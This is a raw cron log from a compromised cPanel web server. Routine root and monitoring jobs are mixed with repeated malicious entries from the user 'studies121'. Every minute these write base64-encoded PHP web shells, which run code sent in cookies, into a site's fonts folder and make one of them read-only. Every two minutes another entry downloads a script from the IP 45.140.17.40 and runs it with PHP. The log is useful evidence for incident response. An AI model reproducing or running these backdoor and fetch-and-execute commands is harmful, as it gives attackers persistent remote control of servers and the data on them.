Sep  5 09:58:01 ip-184-168-122-23 CROND[20602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:59:01 ip-184-168-122-23 CROND[20685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:59:01 ip-184-168-122-23 CROND[20686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:59:01 ip-184-168-122-23 CROND[20687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:59:01 ip-184-168-122-23 CROND[20688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:00:01 ip-184-168-122-23 CROND[20885]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:00:01 ip-184-168-122-23 CROND[20888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:00:01 ip-184-168-122-23 CROND[20892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:00:01 ip-184-168-122-23 CROND[20896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:00:01 ip-184-168-122-23 CROND[20891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:00:01 ip-184-168-122-23 CROND[20893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:00:01 ip-184-168-122-23 CROND[20894]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 10:00:01 ip-184-168-122-23 CROND[20895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:00:01 ip-184-168-122-23 CROND[20897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:01:01 ip-184-168-122-23 CROND[20988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:01:01 ip-184-168-122-23 CROND[20993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:01:01 ip-184-168-122-23 CROND[20992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:01:01 ip-184-168-122-23 CROND[20990]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 10:01:01 ip-184-168-122-23 CROND[20991]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 10:01:01 ip-184-168-122-23 CROND[20995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20990]: starting 0anacron
Sep  5 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21010]: finished 0anacron
Sep  5 10:02:01 ip-184-168-122-23 CROND[21094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:02:01 ip-184-168-122-23 CROND[21095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:02:01 ip-184-168-122-23 CROND[21092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:02:01 ip-184-168-122-23 CROND[21093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:02:01 ip-184-168-122-23 CROND[21096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:03:01 ip-184-168-122-23 CROND[21192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:03:01 ip-184-168-122-23 CROND[21193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:03:01 ip-184-168-122-23 CROND[21196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:03:01 ip-184-168-122-23 CROND[21195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:04:01 ip-184-168-122-23 CROND[21297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:04:01 ip-184-168-122-23 CROND[21298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:04:01 ip-184-168-122-23 CROND[21301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:04:01 ip-184-168-122-23 CROND[21299]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:04:01 ip-184-168-122-23 CROND[21300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:05:01 ip-184-168-122-23 CROND[21427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:05:01 ip-184-168-122-23 CROND[21428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:05:01 ip-184-168-122-23 CROND[21429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:05:01 ip-184-168-122-23 CROND[21430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:05:01 ip-184-168-122-23 CROND[21432]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 10:05:01 ip-184-168-122-23 CROND[21431]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:05:01 ip-184-168-122-23 CROND[21437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:06:01 ip-184-168-122-23 CROND[21545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:06:01 ip-184-168-122-23 CROND[21548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:06:01 ip-184-168-122-23 CROND[21546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:06:01 ip-184-168-122-23 CROND[21547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:06:01 ip-184-168-122-23 CROND[21549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:07:01 ip-184-168-122-23 CROND[21649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:07:01 ip-184-168-122-23 CROND[21651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:07:01 ip-184-168-122-23 CROND[21650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:07:01 ip-184-168-122-23 CROND[21653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:08:01 ip-184-168-122-23 CROND[21838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:08:01 ip-184-168-122-23 CROND[21841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:08:01 ip-184-168-122-23 CROND[21840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:08:01 ip-184-168-122-23 CROND[21842]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:08:01 ip-184-168-122-23 CROND[21839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:09:01 ip-184-168-122-23 CROND[21930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:09:01 ip-184-168-122-23 CROND[21934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 10:09:01 ip-184-168-122-23 CROND[21931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:09:01 ip-184-168-122-23 CROND[21932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 10:09:01 ip-184-168-122-23 CROND[21933]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 10:10:01 ip-184-168-122-23 CROND[22026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 10:10:01 ip-184-168-122-23 CROND[22030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:10:01 ip-184-168-122-23 CROND[22028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:10:01 ip-184-168-122-23 CROND[22033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:10:01 ip-184-168-122-23 CROND[22029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:10:01 ip-184-168-122-23 CROND[22034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:10:01 ip-184-168-122-23 CROND[22031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
